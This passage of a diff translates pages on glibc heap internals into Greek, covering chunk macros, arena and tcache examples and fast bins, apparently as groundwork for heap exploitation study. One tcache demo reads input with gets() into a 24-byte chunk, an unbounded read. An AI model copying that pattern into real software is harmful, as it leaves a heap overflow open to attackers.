||||
cause helpful core dumps to occur if it is tried by accident by
|
||||
people extending or adapting this malloc.
|
||||
*/
|
||||
Note: IS_MMAPPED is intentionally not masked off from size field in
|
||||
macros for which mmapped chunks should never be seen. This should
|
||||
cause helpful core dumps to occur if it is tried by accident by
|
||||
people extending or adapting this malloc.
|
||||
*/
|
||||
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
|
||||
/* Get size, ignoring use bits */
|
||||
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
|
||||
- Insue bit
|
||||
|
||||
- Εξασφαλίστε bit
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
|
||||
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
|
||||
|
||||
/* set/clear chunk as being inuse without otherwise disturbing */
|
||||
#define set_inuse(p) \
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
|
||||
|
||||
#define clear_inuse(p) \
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
|
||||
|
||||
|
||||
/* check/set/clear inuse bits in known places */
|
||||
#define inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
|
||||
|
||||
#define set_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
|
||||
|
||||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
|
||||
- Set head and footer (when chunk nos in use
|
||||
|
||||
- Ορίστε κεφαλίδα και υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
|
||||
- Get the size of the real usable data inside the chunk
|
||||
|
||||
- Πάρτε το μέγεθος των πραγματικά χρησιμοποιήσιμων δεδομένων μέσα στο κομμάτι
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
|
||||
/* This is the size of the real usable data in the chunk. Not valid for
|
||||
dumped heap chunks. */
|
||||
dumped heap chunks. */
|
||||
#define memsize(p) \
|
||||
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
|
||||
chunksize (p) - CHUNK_HDR_SZ : \
|
||||
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
|
||||
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
|
||||
chunksize (p) - CHUNK_HDR_SZ : \
|
||||
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
|
||||
|
||||
/* If memory tagging is enabled the layout changes to accommodate the granule
|
||||
size, this is wasteful for small allocations so not done by default.
|
||||
Both the chunk header and user data has to be granule aligned. */
|
||||
size, this is wasteful for small allocations so not done by default.
|
||||
Both the chunk header and user data has to be granule aligned. */
|
||||
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
|
||||
"memory tagging is not supported with large granule.");
|
||||
"memory tagging is not supported with large granule.");
|
||||
|
||||
static __always_inline void *
|
||||
tag_new_usable (void *ptr)
|
||||
{
|
||||
if (__glibc_unlikely (mtag_enabled) && ptr)
|
||||
{
|
||||
mchunkptr cp = mem2chunk(ptr);
|
||||
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
|
||||
}
|
||||
return ptr;
|
||||
if (__glibc_unlikely (mtag_enabled) && ptr)
|
||||
{
|
||||
mchunkptr cp = mem2chunk(ptr);
|
||||
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
|
||||
}
|
||||
return ptr;
|
||||
}
|
||||
```
|
||||
## Παραδείγματα
|
||||
|
||||
## Examples
|
||||
|
||||
### Quick Heap Example
|
||||
|
||||
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
|
||||
### Γρήγορο Παράδειγμα Σωρού
|
||||
|
||||
Γρήγορο παράδειγμα σωρού από [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) αλλά σε arm64:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
|
||||
|
||||
void main(void)
|
||||
{
|
||||
char *ptr;
|
||||
ptr = malloc(0x10);
|
||||
strcpy(ptr, "panda");
|
||||
char *ptr;
|
||||
ptr = malloc(0x10);
|
||||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
|
||||
Set a breakpoint at the end of the main function and lets find out where the information was stored:
|
||||
Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας δούμε πού αποθηκεύτηκε η πληροφορία:
|
||||
|
||||
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
|
||||
|
||||
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
|
||||
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`.
|
||||
|
||||
Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τις **προστιθέμενες κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
|
||||
```
|
||||
|
||||
### Multithreading Example
|
||||
### Παράδειγμα Πολυνηματικής Εκτέλεσης
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Multithread</summary>
|
||||
|
||||
<summary>Πολυνηματική</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
|
||||
|
||||
|
||||
void* threadFuncMalloc(void* arg) {
|
||||
printf("Hello from thread 1\n");
|
||||
char* addr = (char*) malloc(1000);
|
||||
printf("After malloc and before free in thread 1\n");
|
||||
free(addr);
|
||||
printf("After free in thread 1\n");
|
||||
printf("Hello from thread 1\n");
|
||||
char* addr = (char*) malloc(1000);
|
||||
printf("After malloc and before free in thread 1\n");
|
||||
free(addr);
|
||||
printf("After free in thread 1\n");
|
||||
}
|
||||
|
||||
void* threadFuncNoMalloc(void* arg) {
|
||||
printf("Hello from thread 2\n");
|
||||
printf("Hello from thread 2\n");
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
pthread_t t1;
|
||||
void* s;
|
||||
int ret;
|
||||
char* addr;
|
||||
pthread_t t1;
|
||||
void* s;
|
||||
int ret;
|
||||
char* addr;
|
||||
|
||||
printf("Before creating thread 1\n");
|
||||
getchar();
|
||||
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
|
||||
getchar();
|
||||
printf("Before creating thread 1\n");
|
||||
getchar();
|
||||
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
|
||||
getchar();
|
||||
|
||||
printf("Before creating thread 2\n");
|
||||
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
|
||||
printf("Before creating thread 2\n");
|
||||
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
|
||||
|
||||
printf("Before exit\n");
|
||||
getchar();
|
||||
printf("Before exit\n");
|
||||
getchar();
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
|
||||
Αναλύοντας το προηγούμενο παράδειγμα, είναι δυνατόν να δούμε πώς στην αρχή υπάρχει μόνο 1 αρένα:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Then, after calling the first thread, the one that calls malloc, a new arena is created:
|
||||
Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται μια νέα αρένα:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
and inside of it some chunks can be found:
|
||||
και μέσα σε αυτήν μπορούν να βρεθούν μερικά κομμάτια:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
Check what are the bins and how are they organized and how memory is allocated and freed in:
|
||||
Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται σε:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
@ -517,7 +491,7 @@ bins-and-memory-allocations.md
|
||||
|
||||
## Heap Functions Security Checks
|
||||
|
||||
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
|
||||
Οι συναρτήσεις που εμπλέκονται στο heap θα εκτελούν ορισμένους ελέγχους πριν εκτελέσουν τις ενέργειές τους για να προσπαθήσουν να διασφαλίσουν ότι το heap δεν έχει διαφθαρεί:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
|
||||
@ -4,58 +4,53 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
|
||||
Για να βελτιωθεί η αποδοτικότητα της αποθήκευσης των chunks, κάθε chunk δεν είναι απλώς σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 αταξινόμητος bin, 10 γρήγοροι bins και 64 tcache bins ανά νήμα.
|
||||
|
||||
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
|
||||
Η αρχική διεύθυνση για κάθε αταξινόμητο, μικρό και μεγάλο bin είναι μέσα στην ίδια σειρά. Ο δείκτης 0 είναι ανενεργός, 1 είναι ο αταξινόμητος bin, οι bins 2-64 είναι μικροί bins και οι bins 65-127 είναι μεγάλοι bins.
|
||||
|
||||
### Tcache (Per-Thread Cache) Bins
|
||||
|
||||
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
|
||||
Ακόμα και αν τα νήματα προσπαθούν να έχουν το δικό τους heap (βλ. [Arenas](bins-and-memory-allocations.md#arenas) και [Subheaps](bins-and-memory-allocations.md#subheaps)), υπάρχει η πιθανότητα μια διαδικασία με πολλά νήματα (όπως ένας web server) **να μοιραστεί το heap με άλλα νήματα**. Σε αυτή την περίπτωση, η κύρια λύση είναι η χρήση **locker**, που μπορεί να **επιβραδύνει σημαντικά τα νήματα**.
|
||||
|
||||
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
Επομένως, ένα tcache είναι παρόμοιο με έναν γρήγορο bin ανά νήμα με τον τρόπο που είναι μια **μοναδική συνδεδεμένη λίστα** που δεν συγχωνεύει chunks. Κάθε νήμα έχει **64 απλά συνδεδεμένα tcache bins**. Κάθε bin μπορεί να έχει μέγιστο [7 chunks ίδιου μεγέθους](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) που κυμαίνονται από [24 έως 1032B σε συστήματα 64-bit και 12 έως 516B σε συστήματα 32-bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
|
||||
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
|
||||
**Όταν ένα νήμα απελευθερώνει** ένα chunk, **αν δεν είναι πολύ μεγάλο** για να κατανεμηθεί στο tcache και ο αντίστοιχος tcache bin **δεν είναι γεμάτος** (ήδη 7 chunks), **θα κατανεμηθεί εκεί**. Αν δεν μπορεί να πάει στο tcache, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να εκτελέσει την παγκόσμια λειτουργία απελευθέρωσης.
|
||||
|
||||
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
|
||||
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
|
||||
Όταν ένα **chunk κατανεμηθεί**, αν υπάρχει ένα ελεύθερο chunk του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να βρει ένα στους παγκόσμιους bins ή να δημιουργήσει ένα νέο.\
|
||||
Υπάρχει επίσης μια βελτιστοποίηση, σε αυτή την περίπτωση, ενώ έχει το κλείδωμα του heap, το νήμα **θα γεμίσει το Tcache του με chunks heap (7) του ζητούμενου μεγέθους**, έτσι σε περίπτωση που χρειαστεί περισσότερα, θα τα βρει στο Tcache.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a tcache chunk example</summary>
|
||||
|
||||
<summary>Προσθήκη παραδείγματος chunk tcache</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
free(chunk);
|
||||
return 0;
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
free(chunk);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
|
||||
|
||||
Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κωδικό op της συνάρτησης main. Στη συνέχεια, με το gef μπορείτε να δείτε το tcache bin σε χρήση:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
#### Tcache Structs & Functions
|
||||
#### Δομές & Συναρτήσεις Tcache
|
||||
|
||||
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
|
||||
Στον παρακάτω κώδικα είναι δυνατόν να δούμε τα **max bins** και **chunks per index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφεύγονται οι διπλές απελευθερώσεις και τη **`tcache_perthread_struct`**, μια δομή που χρησιμοποιεί κάθε νήμα για να αποθηκεύει τις διευθύνσεις σε κάθε δείκτη του bin.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
|
||||
|
||||
<summary><code>tcache_entry</code> και <code>tcache_perthread_struct</code></summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
|
||||
|
||||
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
|
||||
# define usize2tidx(x) csize2tidx (request2size (x))
|
||||
|
||||
/* With rounding and alignment, the bins are...
|
||||
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
|
||||
idx 1 bytes 25..40 or 13..20
|
||||
idx 2 bytes 41..56 or 21..28
|
||||
etc. */
|
||||
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
|
||||
idx 1 bytes 25..40 or 13..20
|
||||
idx 2 bytes 41..56 or 21..28
|
||||
etc. */
|
||||
|
||||
/* This is another arbitrary limit, which tunables can change. Each
|
||||
tcache bin will hold at most this number of chunks. */
|
||||
tcache bin will hold at most this number of chunks. */
|
||||
# define TCACHE_FILL_COUNT 7
|
||||
|
||||
/* Maximum chunks in tcache bins for tunables. This value must fit the range
|
||||
of tcache->counts[] entries, else they may overflow. */
|
||||
of tcache->counts[] entries, else they may overflow. */
|
||||
# define MAX_TCACHE_COUNT UINT16_MAX
|
||||
|
||||
[...]
|
||||
|
||||
typedef struct tcache_entry
|
||||
{
|
||||
struct tcache_entry *next;
|
||||
/* This field exists to detect double frees. */
|
||||
uintptr_t key;
|
||||
struct tcache_entry *next;
|
||||
/* This field exists to detect double frees. */
|
||||
uintptr_t key;
|
||||
} tcache_entry;
|
||||
|
||||
/* There is one of these for each thread, which contains the
|
||||
per-thread cache (hence "tcache_perthread_struct"). Keeping
|
||||
overall size low is mildly important. Note that COUNTS and ENTRIES
|
||||
are redundant (we could have just counted the linked list each
|
||||
time), this is for performance reasons. */
|
||||
per-thread cache (hence "tcache_perthread_struct"). Keeping
|
||||
overall size low is mildly important. Note that COUNTS and ENTRIES
|
||||
are redundant (we could have just counted the linked list each
|
||||
time), this is for performance reasons. */
|
||||
typedef struct tcache_perthread_struct
|
||||
{
|
||||
uint16_t counts[TCACHE_MAX_BINS];
|
||||
tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
uint16_t counts[TCACHE_MAX_BINS];
|
||||
tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
} tcache_perthread_struct;
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
|
||||
Η συνάρτηση `__tcache_init` είναι η συνάρτηση που δημιουργεί και εκχωρεί τον χώρο για το αντικείμενο `tcache_perthread_struct`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>tcache_init code</summary>
|
||||
|
||||
<summary>κώδικας tcache_init</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
|
||||
|
||||
static void
|
||||
tcache_init(void)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
void *victim = 0;
|
||||
const size_t bytes = sizeof (tcache_perthread_struct);
|
||||
mstate ar_ptr;
|
||||
void *victim = 0;
|
||||
const size_t bytes = sizeof (tcache_perthread_struct);
|
||||
|
||||
if (tcache_shutting_down)
|
||||
return;
|
||||
if (tcache_shutting_down)
|
||||
return;
|
||||
|
||||
arena_get (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
if (!victim && ar_ptr != NULL)
|
||||
{
|
||||
ar_ptr = arena_get_retry (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
}
|
||||
arena_get (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
if (!victim && ar_ptr != NULL)
|
||||
{
|
||||
ar_ptr = arena_get_retry (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
}
|
||||
|
||||
|
||||
if (ar_ptr != NULL)
|
||||
__libc_lock_unlock (ar_ptr->mutex);
|
||||
if (ar_ptr != NULL)
|
||||
__libc_lock_unlock (ar_ptr->mutex);
|
||||
|
||||
/* In a low memory situation, we may not be able to allocate memory
|
||||
- in which case, we just keep trying later. However, we
|
||||
typically do this very early, so either there is sufficient
|
||||
memory, or there isn't enough memory to do non-trivial
|
||||
allocations anyway. */
|
||||
if (victim)
|
||||
{
|
||||
tcache = (tcache_perthread_struct *) victim;
|
||||
memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
}
|
||||
/* In a low memory situation, we may not be able to allocate memory
|
||||
- in which case, we just keep trying later. However, we
|
||||
typically do this very early, so either there is sufficient
|
||||
memory, or there isn't enough memory to do non-trivial
|
||||
allocations anyway. */
|
||||
if (victim)
|
||||
{
|
||||
tcache = (tcache_perthread_struct *) victim;
|
||||
memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
#### Tcache Indexes
|
||||
#### Δείκτες Tcache
|
||||
|
||||
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
|
||||
Το tcache έχει αρκετούς κάδους ανάλογα με το μέγεθος και τους αρχικούς δείκτες στο **πρώτο κομμάτι κάθε δείκτη και την ποσότητα κομματιών ανά δείκτη που βρίσκονται μέσα σε ένα κομμάτι**. Αυτό σημαίνει ότι εντοπίζοντας το κομμάτι με αυτές τις πληροφορίες (συνήθως το πρώτο), είναι δυνατόν να βρεθούν όλα τα αρχικά σημεία tcache και η ποσότητα των κομματιών Tcache.
|
||||
|
||||
### Fast bins
|
||||
### Γρήγοροι κάδοι
|
||||
|
||||
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
|
||||
Οι γρήγοροι κάδοι έχουν σχεδιαστεί για να **ταχύτητα την κατανομή μνήμης για μικρά κομμάτια** διατηρώντας πρόσφατα απελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτοί οι κάδοι χρησιμοποιούν μια προσέγγιση Last-In, First-Out (LIFO), που σημαίνει ότι το **πιο πρόσφατα απελευθερωμένο κομμάτι είναι το πρώτο** που θα ξαναχρησιμοποιηθεί όταν υπάρχει ένα νέο αίτημα κατανομής. Αυτή η συμπεριφορά είναι ευνοϊκή για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγεις και να αφαιρείς από την κορυφή μιας στοίβας (LIFO) σε σύγκριση με μια ουρά (FIFO).
|
||||
|
||||
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
|
||||
Επιπλέον, **οι γρήγοροι κάδοι χρησιμοποιούν απλές συνδεδεμένες λίστες**, όχι διπλά συνδεδεμένες, γεγονός που βελτιώνει περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στους γρήγορους κάδους δεν συγχωνεύονται με γείτονες, δεν υπάρχει ανάγκη για μια περίπλοκη δομή που να επιτρέπει την αφαίρεση από τη μέση. Μια απλή συνδεδεμένη λίστα είναι πιο απλή και γρήγορη για αυτές τις λειτουργίες.
|
||||
|
||||
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
|
||||
Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης στο πρώτο κομμάτι που θα ελεγχθεί) δείχνει πάντα στο πιο πρόσφατα απελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι:
|
||||
|
||||
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
|
||||
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
|
||||
- Όταν ένα νέο κομμάτι κατανεμηθεί αυτού του μεγέθους, η κεφαλίδα δείχνει σε ένα ελεύθερο κομμάτι προς χρήση. Καθώς αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο προς χρήση, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη κατανομή να γνωρίζει πού να βρει ένα διαθέσιμο κομμάτι
|
||||
- Όταν ένα κομμάτι απελευθερωθεί, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση του τρέχοντος διαθέσιμου κομματιού και η διεύθυνση αυτού του νέου απελευθερωμένου κομματιού θα τοποθετηθεί στην κεφαλίδα
|
||||
|
||||
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
|
||||
Το μέγιστο μέγεθος μιας συνδεδεμένης λίστας είναι `0x80` και οργανώνονται έτσι ώστε ένα κομμάτι μεγέθους `0x20` να βρίσκεται στον δείκτη `0`, ένα κομμάτι μεγέθους `0x30` να βρίσκεται στον δείκτη `1`...
|
||||
|
||||
> [!CAUTION]
|
||||
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
|
||||
|
||||
> Τα κομμάτια στους γρήγορους κάδους δεν ορίζονται ως διαθέσιμα, οπότε διατηρούνται ως κομμάτια γρήγορου κάδου για κάποιο χρονικό διάστημα αντί να μπορούν να συγχωνευτούν με άλλα ελεύθερα κομμάτια που τα περιβάλλουν.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
/*
|
||||
Fastbins
|
||||
Fastbins
|
||||
|
||||
An array of lists holding recently freed small chunks. Fastbins
|
||||
are not doubly linked. It is faster to single-link them, and
|
||||
since chunks are never removed from the middles of these lists,
|
||||
double linking is not necessary. Also, unlike regular bins, they
|
||||
are not even processed in FIFO order (they use faster LIFO) since
|
